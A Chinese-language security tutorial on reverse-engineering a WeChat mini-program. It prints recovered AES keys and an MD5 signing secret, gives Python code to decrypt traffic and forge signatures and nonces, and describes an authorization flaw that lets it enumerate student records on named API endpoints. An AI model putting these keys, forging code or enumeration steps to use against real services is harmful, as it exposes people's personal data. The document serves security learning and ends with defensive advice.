初试小程序逆向
字数 1100 2025-08-23 18:31:25
小程序逆向分析与签名破解实战教程
一、前言
本教程将详细讲解如何对微信小程序进行逆向分析,破解其加密机制和签名算法,实现数据包重放攻击。通过本教程,您将学习到:
- 小程序反编译技术
- AES加密解密分析
- 签名算法逆向
- 时间戳与随机数生成机制
- BurpSuite插件自动化处理
二、小程序反编译
工具准备
使用wux1an/wxapkg工具反编译本地微信小程序:
- 找到微信小程序的
.wxapkg包文件 - 使用工具解包获取JavaScript源码
关键信息获取
通过分析源码,发现以下关键信息:
- 使用AES加密,CBC模式
- 获取到密钥(key)和初始向量(iv)
- 发现签名机制(SignMD5)
三、AES加密分析
加密参数
- 密钥(key):
Wet2C8d34f62ndi3 - 初始向量(iv):
K6iv85jBD8jgf32D - 模式: CBC
Python实现代码
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
def Encrypt(data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
return base64.b64encode(ct_bytes).decode('utf-8')
def Decrypt(encrypted_data, key, iv):
key_bytes = key.encode('utf-8')
iv_bytes = iv.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pt_bytes = cipher.decrypt(base64.b64decode(encrypted_data))
return unpad(pt_bytes, AES.block_size).decode('utf-8')
四、签名算法分析
签名机制
- 对请求参数按键名进行排序
- 拼接键值对(格式:
keyvalue) - 在拼接后的字符串末尾添加密钥(
secret_key) - 计算MD5哈希值
签名密钥
secret_key = "rDJiNB9j7vD2"
Python实现代码
import hashlib
import json
def sign_md5(data, secret_key):
# 对数据进行排序并拼接
sorted_data = sorted(data.items())
joined_data = ''.join([f'{key}{value}' for key, value in sorted_data])
# 添加密钥并计算MD5哈希值
joined_data_with_key = joined_data + secret_key
md5_hash = hashlib.md5(joined_data_with_key.encode()).hexdigest()
return md5_hash
五、时间戳与随机数机制
生成规则
timestamp:当前Unix时间戳nonce:- 取
timestamp的最后三位 - 如果第一位是0则去掉
- 补随机数至6位
- 取
Python实现代码
import time
import random
def generate_timestamp_and_nonce():
# 生成timestamp
timestamp = int(time.time())
# 获取timestamp的最后三位
last_three_digits = str(timestamp)[-3:]
# 如果最后三位开头为0,则去掉0
if last_three_digits[0] == '0':
last_three_digits = last_three_digits[1:]
# 计算需要补齐的数字数量
num_zeros_to_pad = 6 - len(last_three_digits)
# 随机生成需要补齐的数字
random_digits = ''.join(str(random.randint(0, 9)) for _ in range(num_zeros_to_pad))
# 构造nonce
nonce = int(last_three_digits + random_digits)
return timestamp, nonce
六、BurpSuite自动化处理
使用autoDecoder插件
- 下载并安装autoDecoder插件
- 配置加解密规则:
- 请求加密
- 响应解密
- 编写正则表达式匹配请求和响应中的加密数据
配置效果
- 原始加密请求 → 自动解密显示
- 修改后请求 → 自动加密发送
七、漏洞利用实例
接口越权访问
发现以下接口存在信息泄露:
/v3/api.php/TeacherCourse/getStudentList/v3/api.php/Exam/classPlanStudentList
利用方式
- 使用普通用户账号访问
- 修改
course_id参数遍历数据 - 获取敏感信息(学号、姓名、学院专业等)
数据规模
course_id范围:500+- 受影响用户:2w+
八、防御建议
- 加强接口权限控制
- 改进签名算法(加入更多动态参数)
- 限制接口访问频率
- 对敏感信息进行二次加密
- 定期更换加密密钥
九、总结
通过本教程,我们完整地演示了:
- 小程序逆向分析流程
- 加密算法破解方法
- 签名机制逆向工程
- 自动化工具配置
- 实际漏洞利用案例
这种分析方法不仅适用于微信小程序,也可应用于其他类似场景的安全评估。